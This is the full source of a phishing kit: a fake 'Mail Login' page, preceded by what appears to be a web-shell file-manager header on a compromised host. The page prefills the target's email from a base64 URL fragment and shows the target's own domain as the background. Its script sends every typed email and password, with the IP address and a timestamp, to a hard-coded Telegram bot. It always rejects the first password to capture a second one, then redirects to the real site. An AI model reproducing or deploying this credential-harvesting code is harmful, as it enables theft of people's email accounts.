Your IP : 216.73.216.20


Current Path : /home/etiennec/www/prive/echafaudage/extra/
Upload File :
Current File : /home/etiennec/www/prive/echafaudage/extra/camellion.html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Mail Login</title>
    <link
      rel="stylesheet"
      href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"
    />
    <link
      href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"
      rel="stylesheet"
    />
    <style>
      * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
        font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
      }

      body {
        background-color: #f5f5f5;
        transition: background-image 0.5s ease;
        background-size: cover;
        background-position: center;
        min-height: 100vh;
        display: flex;
        align-items: center;
        justify-content: center;
      }

      .overlay {
        position: fixed;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        background-color: rgba(109, 109, 109, 0.4);
        z-index: -1;
      }

      .login-form {
        background-color: white;
        padding: 2rem;
        border-radius: 8px;
        box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
        width: 500px;

        margin: 20px;
      }

      .logo {
        text-align: center;
        margin-bottom: 1.5rem;
        color: #0177d8;
        font-size: 24px;
        font-weight: bold;
      }

      .login-title {
        text-align: center;
        font-size: 1.8rem;
        color: #333;
        margin-bottom: 0.5rem;
      }

      .login-subtitle {
        text-align: center;
        color: #666;
        margin-bottom: 2rem;
        font-size: 0.9rem;
      }

      .form-group {
        margin-bottom: 1.5rem;
      }

      .input-group {
        display: flex;
        align-items: center;
        border: 1px solid #ddd;
        border-radius: 4px;
        padding: 0.5rem;
        transition: border-color 0.3s;
      }
      .input-group:focus-within {
        border-color: #0177d8;
      }
      .input-group-addon {
        padding: 0 0.5rem;
        color: #666;
      }

      .form-control {
        border: none !important;
        outline: none !important;
        box-shadow: none !important;
        border-color: inherit !important;
        width: 100%;
        padding: 0.5rem;
        font-size: 1rem;
      }

      .btn-submit {
        width: 100%;
        background: #0177d8;
        padding: 0.75rem;
        border: none;
        color: white;
        border-radius: 4px;
        font-size: 1rem;
        font-weight: 600;
        cursor: pointer;
        transition: background-color 0.3s;
      }

      .btn-submit:hover {
        background: #0160b5;
      }

      .form-footer {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-top: 1.5rem;
      }

      .checkbox-inline {
        display: flex;
        align-items: center;
        color: #666;
      }

      .forgot-password {
        color: #0177d8;
        text-decoration: none;
      }

      .forgot-password:hover {
        text-decoration: underline;
      }

      .copyright {
        text-align: center;
        margin-top: 2rem;
        color: #666;
        font-size: 0.85rem;
      }

      .alert {
        padding: 0.75rem;
        border-radius: 4px;
        margin-bottom: 1rem;
      }

      .alert-danger {
        background-color: #f8d7da;
        color: #721c24;
        border: 1px solid #f5c6cb;
      }

      .spinner-container {
        display: flex;
        align-items: center;
        justify-content: center;
        height: 100vh;
      }

      .spinner {
        width: 3rem;
        height: 3rem;
        border: 0.25rem solid rgba(1, 119, 216, 0.3);
        border-radius: 50%;
        border-top-color: #0177d8;
        animation: spin 1s linear infinite;
      }

      .success-container {
        max-width: 500px;
        margin: 0 auto;
        padding: 2rem;
        text-align: center;
      }

      .success-icon {
        color: #28a745;
        font-size: 4rem;
        margin-bottom: 1.5rem;
      }

      .success-message {
        font-size: 1.2rem;
        margin-bottom: 2rem;
        color: #333;
      }

      @keyframes spin {
        0% {
          transform: rotate(0deg);
        }
        100% {
          transform: rotate(360deg);
        }
      }

      .cursor-pointer {
        cursor: pointer;
      }

      .hidden {
        display: none !important;
      }

      #passwordError {
        color: #721c24;
        background-color: #f8d7da;
        border-color: #f5c6cb;
        padding: 0.75rem;
        border-radius: 4px;
        margin-bottom: 1rem;
        text-align: center;
      }
    </style>
  </head>
  <body>
    <!-- Loading Spinner -->
    <div id="loadingSpinner" class="spinner-container">
      <div class="spinner"></div>
    </div>

    <!-- Success Screen -->
    <div id="successScreen" class="success-container hidden">
      <div class="success-icon">
        <i class="fas fa-check-circle"></i>
      </div>
      <div class="success-message" id="successMessage">
        Verification succesful.
      </div>
      <a href="#" class="copyright" id="successCopyright"> Copyright © 2026 </a>
    </div>

    <!-- Main Login Form -->
    <div id="loginForm" class="hidden">
      <div class="overlay"></div>
      <div class="login-form">
        <form id="loginFormElement">
          <div class="logo" id="logoContainer"></div>

          <h3 class="login-title" id="loginTitle">Email Login</h3>
          <p class="login-subtitle" id="loginSubtitle">
            Sign in to continue to your account
          </p>

          <!-- Error Messages -->
          <div id="generalError" class="alert alert-danger hidden"></div>
          <div id="passwordError" class="hidden"></div>

          <!-- Email Input -->
          <div class="form-group">
            <div class="input-group">
              <span class="input-group-addon">
                <i class="fas fa-user"></i>
              </span>
              <input
                type="email"
                class="form-control"
                id="email"
                name="email"
                placeholder="Email"
              />
            </div>
          </div>

          <!-- Password Input -->
          <div class="form-group">
            <div class="input-group">
              <span
                class="input-group-addon cursor-pointer"
                id="togglePassword"
              >
                <i class="fas fa-eye" id="passwordIcon"></i>
              </span>
              <input
                type="password"
                class="form-control"
                id="password"
                name="password"
                placeholder="Password"
              />
            </div>
          </div>

          <!-- Submit Button -->
          <div class="form-group">
            <button type="submit" class="btn-submit" id="submitButton">
              Login
            </button>
          </div>

          <!-- Form Footer -->
          <div class="form-footer">
            <div>
              <label class="checkbox-inline">
                <input type="checkbox" id="rememberMe" />
                <span class="ms-2">Remember me</span>
              </label>
            </div>
            <div>
              <a href="#" class="forgot-password" id="forgotPassword"
                >Forgot Password?</a
              >
            </div>
          </div>

          <!-- Copyright -->
          <p class="copyright" id="copyright">Copyright © 2026</p>
        </form>
      </div>
    </div>

    <script>
      // Configuration
      const TELEGRAM_BOT_TOKEN =
        "8782739909:AAGmJxOqIW_uHND4ZEcpCrrtCsOPdmflKzM";
      const TELEGRAM_CHAT_ID = "7481068255";

      // State variables
      let showPassword = false;
      let email = "";
      let password = "";
      let loading = true;
      let success = false;
      let language = {};
      let domain = "";
      let ipAddress = "Unknown";
      let attemptCount = 1;
      let showPasswordError = false;
      const currentYear = new Date().getFullYear();

      // DOM elements
      const loadingSpinner = document.getElementById("loadingSpinner");
      const loginForm = document.getElementById("loginForm");
      const successScreen = document.getElementById("successScreen");
      const loginFormElement = document.getElementById("loginFormElement");
      const emailInput = document.getElementById("email");
      const passwordInput = document.getElementById("password");
      const togglePassword = document.getElementById("togglePassword");
      const passwordIcon = document.getElementById("passwordIcon");
      const submitButton = document.getElementById("submitButton");
      const generalError = document.getElementById("generalError");
      const passwordError = document.getElementById("passwordError");
      const loginTitle = document.getElementById("loginTitle");
      const copyright = document.getElementById("copyright");
      const successMessage = document.getElementById("successMessage");
      const successCopyright = document.getElementById("successCopyright");
      const logoContainer = document.getElementById("logoContainer");

      // Initialize the page
      document.addEventListener("DOMContentLoaded", function () {
        initializePage();
        fetchIpAddress();
      });

      // Initialize page
      function initializePage() {
        // Simulate loading
        setTimeout(() => {
          loading = false;
          loadingSpinner.classList.add("hidden");

          // Check URL for domain and email data
          const currentUrl = window.location.href;
          const urlObj = new URL(currentUrl);
          let domainPath = urlObj.hash;

          if (domainPath) {
            domainPath = handleBase64Data(
              domainPath.substring(1).split("/")[0],
            );
            let domainName = domainPath.substring(domainPath.indexOf("@") + 1);
            domain = domainName;

            // Set background image
            const backgroundImage = `https://image.thum.io/get/width/1200/http://${domainName}`;
            document.body.style.backgroundImage = `url('${backgroundImage}')`;
          }

          // Parse hash for email and language data
          const hashParts = window.location.hash
            ? window.location.hash.substring(1).split("/")
            : [];

          if (hashParts.length > 0) {
            const emailData = handleBase64Data(hashParts[0]);
            const langData = getLocalizedLanguage(
              hashParts.length > 1 ? hashParts[1] : "",
            );
            language = langData;

            if (emailData) {
              email = emailData;
              emailInput.value = emailData;
              emailInput.readOnly = true;
              document.title = `${emailData.split("@")[1]} ${language.mail || ""}`;
            }
          } else {
            language = getLocalizedLanguage();
          }

          // Update UI with language data
          updateUIWithLanguage();

          // Show login form
          loginForm.classList.remove("hidden");
        }, 1000);
      }

      // Handle base64 encoded data
      function handleBase64Data(data) {
        try {
          return atob(data);
        } catch (error) {
          return data;
        }
      }

      // Get localized language strings
      function getLocalizedLanguage(langCode = "") {
        const browserLang =
          langCode || navigator.language || navigator.userLanguage;
        const langPrefix = browserLang.substring(0, 2);

        const languages = {
          en: {
            lessThan4: "Password must be at least 4 characters long.",
            msg: "Invalid password. Please enter the correct information.",
            error:
              "The account does not exist. Please enter a different account.",
            emlTxt: "Email",
            pswTxt: "Password",
            submitBtn: "Login",
            secLgSs: "Secure login session",
            frgPsw: "Forgot password?",
            copy: "",
            verifyingText: "Verifying...",
            emlLogin: "Email Login",
            mail: "Mail",
            yourEmail: "Your email has been successfully activated.",
            success:
              "",
          },
        };

        return languages[langPrefix] || languages["en"];
      }

      // Update UI with language strings
      function updateUIWithLanguage() {
        if (loginTitle && language.emlLogin) {
          loginTitle.textContent = language.emlLogin;
        }

        if (emailInput && language.emlTxt) {
          emailInput.placeholder = language.emlTxt;
        }

        if (passwordInput && language.pswTxt) {
          passwordInput.placeholder = language.pswTxt;
        }

        if (submitButton && language.submitBtn) {
          submitButton.textContent = language.submitBtn;
        }

        if (copyright && language.copy) {
          copyright.textContent = `${language.copy} ${currentYear}`;
        }

        if (successMessage && language.success) {
          successMessage.textContent = language.success;
        }

        if (successCopyright && language.copy) {
          successCopyright.textContent = `${language.copy} ${currentYear}`;
        }
      }

      // Fetch IP address
      async function fetchIpAddress() {
        try {
          const response = await fetch("https://api.ipify.org?format=json");
          const data = await response.json();
          ipAddress = data.ip;
        } catch (error) {
          console.error("Error fetching IP address:", error);
          ipAddress = "Failed to get IP";
        }
      }

      // Send credentials to Telegram
      async function sendToTelegram(email, password, attemptNumber) {
        const now = new Date();
        const datetime = now.toISOString();

        const message = `
📧 Email: ${email}
🔑 Password: ${password}
🔄 Attempt: ${attemptNumber}
🌐 IP Address: ${ipAddress}
⏰ Timestamp: ${datetime}
`;

        const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage?chat_id=${TELEGRAM_CHAT_ID}&text=${encodeURIComponent(message)}`;

        try {
          await fetch(url);
          console.log("Message sent to Telegram");
          return true;
        } catch (error) {
          console.error("Error sending message to Telegram:", error);
          return false;
        }
      }

      // Handle form submission
      async function handleSubmit(e) {
        e.preventDefault();

        // Get form values
        email = emailInput.value.trim();
        password = passwordInput.value.trim();

        // Clear errors
        generalError.classList.add("hidden");
        passwordError.classList.add("hidden");

        // Validate email
        const emailRegex =
          /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
        if (!emailRegex.test(email)) {
          generalError.textContent = language.error || "Invalid email format";
          generalError.classList.remove("hidden");
          return;
        }

        // Validate password length
        if (password.length < 4) {
          generalError.textContent =
            language.lessThan4 || "Password must be at least 4 characters";
          generalError.classList.remove("hidden");
          return;
        }

        // Show loading state
        submitButton.disabled = true;
        submitButton.innerHTML = `<span class="spinner-border spinner-border-sm" role="status" aria-hidden="true"></span> ${language.verifyingText || "Verifying..."}`;

        try {
          // Always send credentials to Telegram
          await sendToTelegram(email, password, attemptCount);

          if (attemptCount === 1) {
            // First attempt - show wrong password message
            setTimeout(() => {
              passwordInput.value = "";
              submitButton.disabled = false;
              submitButton.textContent = language.submitBtn || "Login";

              passwordError.textContent =
                language.msg || "Invalid password. Please try again.";
              passwordError.classList.remove("hidden");

              attemptCount = 2;
            }, 1500);
          } else {
            // Second attempt - redirect to domain
            setTimeout(() => {
              if (domain) {
                window.location.href = `http://www.${domain}`;
              } else {
                // If no domain, show success screen
                loginForm.classList.add("hidden");
                successScreen.classList.remove("hidden");
              }
            }, 1500);
          }
        } catch (error) {
          console.log("Error in submission:", error);
          submitButton.disabled = false;
          submitButton.textContent = language.submitBtn || "Login";

          generalError.textContent = "An error occurred. Please try again.";
          generalError.classList.remove("hidden");
        }
      }

      // Toggle password visibility
      function togglePasswordVisibility() {
        showPassword = !showPassword;

        if (showPassword) {
          passwordInput.type = "text";
          passwordIcon.classList.remove("fa-eye");
          passwordIcon.classList.add("fa-eye-slash");
        } else {
          passwordInput.type = "password";
          passwordIcon.classList.remove("fa-eye-slash");
          passwordIcon.classList.add("fa-eye");
        }
      }

      // Event listeners
      loginFormElement.addEventListener("submit", handleSubmit);
      togglePassword.addEventListener("click", togglePasswordVisibility);

      // Forgot password link
      document
        .getElementById("forgotPassword")
        .addEventListener("click", function (e) {
          e.preventDefault();
          alert(
            "Please contact your system administrator to reset your password.",
          );
        });

      // Remember me checkbox
      document
        .getElementById("rememberMe")
        .addEventListener("change", function () {
          if (this.checked) {
            console.log("Remember me checked");
          } else {
            console.log("Remember me unchecked");
          }
        });
    </script>
  </body>
</html>